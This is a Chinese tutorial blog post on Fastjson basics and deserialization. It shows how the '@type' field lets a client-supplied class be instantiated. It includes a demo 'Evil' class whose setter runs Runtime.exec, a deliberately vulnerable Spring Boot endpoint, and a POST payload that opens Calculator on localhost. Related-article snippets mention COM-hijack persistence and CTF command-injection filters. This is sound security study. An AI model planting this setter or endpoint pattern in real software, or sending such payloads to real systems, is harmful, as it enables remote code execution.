Fastjson前置知识

Fastjson 是一个 Java 库,可以将 Java 对象转换为 JSON 格式,当然它也可以将 JSON 字符串转换为 Java 对象。

Fastjson 可以操作任何 Java 对象,即使是一些预先存在的没有源码的对象

1、Fastjson基础用法

1.1、序列化与反序列基础用法

//序列化
String text = JSON.toJSONString(obj);
//反序列化
VO vo = JSON.parse(); //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

1.2、使用案例

实体类User

package com.akkacloud.pojo;

public class User {
public int id;
public String name;
public int age; public User() {
} public User(int id, String name, int age) {
this.id = id;
this.name = name;
this.age = age;
} @Override
public String toString() {
return "User{" +
"id=" + id +
", name='" + name + '\'' +
", age=" + age +
'}';
} public int getId() {
return id;
} public void setId(int id) {
this.id = id;
} public String getName() {
return name;
} public void setName(String name) {
this.name = name;
} public int getAge() {
return age;
} public void setAge(int age) {
this.age = age;
} }

对象转字符串(序列化)

package com.akkacloud.pojo.demo;

import com.akkacloud.pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature; public class fastjsonTest {
public static void main(String[] args) {
User user = new User();
user.setId(1);
user.setName("zhangsan");
user.setAge(18); //对象转字符串
String s1 = JSON.toJSONString(user);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
System.out.println(s2);
}
}

输出结果

{"age":18,"id":1,"name":"zhangsan"}
{"@type":"com.akkacloud.pojo.User","age":18,"id":1,"name":"zhangsan"}

字符串转对象(反序列化)

package com.akkacloud.pojo.demo;

import com.akkacloud.pojo.User;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.serializer.SerializerFeature; public class fastjsonTest {
public static void main(String[] args) {
User user = new User();
user.setId(1);
user.setName("zhangsan");
user.setAge(18); //对象转字符串
String s1 = JSON.toJSONString(user);
String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);
System.out.println(s1);
System.out.println(s2); System.out.println("s1==========================s1");
//字符串转对象
Object o1 = JSON.parse(s1);
JSONObject jo1 = JSON.parseObject(s1);
User user1 = JSON.parseObject(s1, User.class);
System.out.println(o1);
System.out.println(jo1);
System.out.println(user1); System.out.println("s2=========================s2");
Object o2 = JSON.parse(s2);
JSONObject jo2 = JSON.parseObject(s2);
User user2 = JSON.parseObject(s2, User.class);
System.out.println(o2);
System.out.println(jo2);
System.out.println(user2); }
}

输出结果

{"age":18,"id":1,"name":"zhangsan"}
{"@type":"com.akkacloud.pojo.User","age":18,"id":1,"name":"zhangsan"}
s1==========================s1
{"name":"zhangsan","id":1,"age":18}
{"name":"zhangsan","id":1,"age":18}
User{id=1, name='zhangsan', age=18}
s2=========================s2
User{id=1, name='zhangsan', age=18}
{"name":"zhangsan","id":1,"age":18}
User{id=1, name='zhangsan', age=18}

我们对比使用SerializerFeature.WriteClassName的s2和不使用的s1,发现序列化时(对象转为字符串)多了一个字段@type,他指定了我们序列化的类,那么我们在反序列化时(字符串转对象)也会使用我们指定的@type字段所指定的类,进而调用set、get方法。这样我们就可以同在在@type指定我们的恶意类,造成代码执行,但是在序列化时不会调用我们的private修饰且没有get方法的属性

我们修改User类的age为private属性并且删除其get方法试试,确实没有了age属性

为什么会执行set方法呢

我们新建一个测试类看看

package com.fastjsontest.demo.pojo;

import java.io.IOException;

public class Evil {
private String cmd; public Evil() {
System.out.println("Evil==constructor");
} public Evil(String cmd) {
this.cmd = cmd;
System.out.println("Evilcmd==constructor");
} public String getCmd() {
System.out.println("Evil==getter");
return cmd;
} public void setCmd(String cmd) throws IOException { System.out.println("Evil==setter");
this.cmd = cmd;
} @Override
public String toString() {
return "Evil{" +
"cmd='" + cmd + '\'' +
'}';
}
}

调用输出来看看

package com.fastjsontest.demo;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject; public class test {
public static void main(String[] args) { String cmdjson="{\"@type\":\"com.fastjsontest.demo.pojo.Evil\",\"cmd\":\"open /System/Applications/Calculator.app\"}"; Object parse = JSON.parse(cmdjson);
System.out.println("====================");
JSONObject jsonObject = JSON.parseObject(cmdjson);
System.out.println("====================");
Object o = JSON.parseObject(cmdjson, Object.class); }
}

输出结果

可以看到只有jsonObject调用getter、setter方法和无参构造方法,其他两个未调用getter方法,具体分析看大佬的文章https://y4er.com/post/fastjson-learn/,这里不做分析。

1.3、恶意类实现执行代码

接下来我们尝试构造一个恶意的类Evil,再起set方法设置我们的恶意代码。

package com.fastjsontest.demo.pojo;

import java.io.IOException;

public class Evil {
private String cmd; public Evil() {
} public Evil(String cmd) {
this.cmd = cmd;
} public String getCmd() {
return cmd;
} public void setCmd(String cmd) throws IOException { Runtime.getRuntime().exec(cmd);
this.cmd = cmd;
} @Override
public String toString() {
return "Evil{" +
"cmd='" + cmd + '\'' +
'}';
}
}

创建一个springboot项目

package com.fastjsontest.demo.controller;

import com.alibaba.fastjson.JSON;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.ResponseBody; @Controller
public class fastjsontest {
@RequestMapping("/fastjson")
@ResponseBody
public String cmd(@RequestParam(name="user") String user){ Object o = JSON.parseObject(user, Object.class);
System.out.println(o); return o.getClass().getName();
} }

访问http://127.0.0.1:8080/fastjson

post

user={"@type":"com.fastjsontest.demo.pojo.Evil","cmd":"open /System/Applications/Calculator.app"}

那么假设我们有一个可控的入口,如这里的fastjson的user参数,再找到一个利用链(这里是Evil的set方法)就可以造成远程代码执行了

1.4、结束

本章学习了Fastjson的基本用法,漏洞利用,下一章学习fastjson的利用链。

参考链接

https://y4er.com/post/fastjson-learn/

https://www.cnblogs.com/nice0e3/p/14601670.html#

Fastjsonfan反序列链学习前置知识的更多相关文章

  1. JDK7u21反序列链学习

    JDK7u21 1.前置知识 jdk7u21是一条不依赖CommonsCollections库依赖的,看利用链所有知识其实跟CommonsCollections也有重复,我们来学习一下以前没学过的类或 ...

  2. CommonsCollection2反序列链学习

    CommonsCollection2 1.前置知识 CmonnosCollection2需要用到Javassist和PriorityQueue 1.1.Javassist Javassist是一个开源 ...

  3. CommonsCollection6反序列化链学习

    CommonsCollection6 1.前置知识 1.1.HashSet HashSet 基于 HashMap 来实现的,是一个不允许有重复元素的集合.继承了序列化和集合 构造函数参数为空的话创建一 ...

  4. Java安全之Commons Collections1分析前置知识

    Java安全之Commons Collections1分析前置知识 0x00 前言 Commons Collections的利用链也被称为cc链,在学习反序列化漏洞必不可少的一个部分.Apache C ...

  5. CommonsCollection4反序列化链学习

    CommonsCollection4 1.前置知识 由于cc4没有新的知识点,主要是用cc2,然后稍微cc3结合了,所以我们可以看ysoserial源码,自己尝试构造一下,把cc2通过获取Invoke ...

  6. 学golang之前都需要哪些前置知识?

    我学golang,感觉前面基础语法部分都很快能学会,但是到了goroutine,channel等后面的部分就看不懂了,是不是我学这个之前还得学习其他什么知识啊?(我有C语言基础,对于C语言里面的指针, ...

  7. CommonsCollection7反序列化链学习

    CommonsCollections7 1.前置知识 Hashtable Hashtable实现了Map接口和Serializable接口,因此,Hashtable现在集成到了集合框架中.它和Hash ...

  8. GNU工具链学习笔记

    GNU工具链学习笔记 1..so为动态链接库,.a为静态连接库.他们在Linux下按照ELF格式存储.ELF有四种文件类型.可重定位文件(Relocatable file,*.o,*.a),包含代码和 ...

  9. 欢迎关注我的微信公众账号:Linux技巧(微信号:irefactoring),一起学习Linux知识~~~

    最近很少写博客了,一方面是近期工作比较繁忙,第二是把精力都放在GitHub和读源码去了. 申请了一个微信公众账号:Linux技巧 微信ID:irefactoring(意思是爱重构) ========= ...

随机推荐

  1. Docker——questions

    服务器的防火墙有什么用?(P14) Tomcat中的webapps.dist这一文件输出目录是用来做什么的?(P15) 容器之间实现数据共享的基础是要在主机有挂载的卷?

  2. 程序语言与编程实践4-> 蓝桥杯C/C++备赛记录2 | 第二周学习训练

    0323,又是一周星期三,按道理该总结了.这周前几天写题比较多,后面事情多了起来,就没怎么写了.主要方向是洛谷的基本语法熟悉,PTA平台数据结构的一些题目. 0323附上: 题目比较多,所以文章可能有 ...

  3. vue学习过程总结(01)- 开发环境的搭建

    1.本地vue开发环境的搭建 1.1.下载NodeJs.下载地址:https://nodejs.org/en/download/ node.js的相关结束以及教程:https://www.runoob ...

  4. 后门及持久化访问4----Com组件劫持

    代码及原理介绍 COM是Component Object Model(组件对象模型)的缩写,COM组件由DLL和EXE形式发布的可执行代码所组成.每个COM组件都有一个CLSID,这个CLSID是注册 ...

  5. 【Java面试宝典】什么情况下会发生栈内存溢出?

    如果线程请求的栈深度大于虚拟机所允许的深度,将抛出StackOverflowError异常. 如果虚拟机在动态扩展栈时无法申请到足够的内存空间,则抛出OutOfMemoryError异常.

  6. JavaScript使用原型链实现继承

    JavaScript实现继承的思想: 一句话总结,让子类的原型等于父类的实例. 详细来说,其实利用了原型的性质即在JavaScript中所有被实例化对象具有相同的原型属性和方法,每一个被实例化对象的原 ...

  7. 什么是基于 Java 的 Spring 注解配置?

    基于 Java 的配置,允许你在少量的 Java 注解的帮助下,进行你的大部分 Spring 配置而非通过 XML 文件. 以@Configuration 注解为例,它用来标记类可以当做一个 bean ...

  8. 请用c++ 实现stl中的string类,实现构造,拷贝构造,析构,赋值,比较,字符串相加,获取长度及子串等功能。

    1 #include<iostream> 2 #include<cstring> 3 using namespace std; 4 class String{ 5 public ...

  9. 我们能在 Switch 中使用 String 吗?

    从 Java 7 开始,我们可以在 switch case 中使用字符串,但这仅仅是一个语法 糖.内部实现在 switch 中使用字符串的 hash code. 30.Java 中的构造器链是什么? ...

  10. ctfhub 过滤运算符 综合过滤练习 读取源代码 远程包含 eval执行 文件包含 php://input

    过滤运算符 过滤了\和&那么尝试; 成功那么将flag cat出来 127.0.0.1;cat flag_27249269530391.php 得到flag 综合过滤练习 这次过滤有点多过滤了 ...